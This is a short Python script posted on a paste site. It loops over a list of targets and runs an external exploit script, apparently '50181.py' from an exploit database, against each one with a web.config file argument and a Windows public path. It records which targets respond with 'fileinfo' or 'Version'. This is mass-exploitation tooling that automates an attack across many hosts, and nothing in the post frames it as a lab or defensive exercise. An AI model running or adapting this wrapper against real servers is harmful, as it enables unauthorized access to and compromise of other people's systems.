Untitled

 avatar
unknown
plain_text
a year ago
1.5 kB
5
Indexable
#!/usr/bin/env python3

import subprocess
import shlex

# Define the file containing the list of words
list_file = "list.txt"

# Check if the list file exists
try:
    with open(list_file, 'r') as f:
        words = f.read().splitlines()
except FileNotFoundError:
    print(f"Error: List file '{list_file}' not found!")
    exit(1)

# Specify the output file to save filtered results
output_file = "filtered_results.txt"

# Loop over each word in the list
for word in words:
    # Construct the command
    command = f"python3 50181.py -u {word} -f web.config -p 'C:\\Users\\public'"
    print(f"Executing command: {command}")

    # Execute the command with a timeout of 20 seconds
    try:
        process = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        result, error = process.communicate(timeout=20)
        result = result.decode('utf-8')
        error = error.decode('utf-8')
        
        # Check if the response contains either "fileinfo" or "Version"
        if "fileinfo" in result or "Version" in result:
            # If either "fileinfo" or "Version" is found, save the word followed by "=> found" to the output file
            with open(output_file, 'a') as f:
                f.write(f"{word} => found\n")
    except subprocess.TimeoutExpired:
        print(f"Timeout occurred for {word}. Skipping...")
        continue

print(f"Filtered results saved in {output_file}")
Editor is loading...
Leave a Comment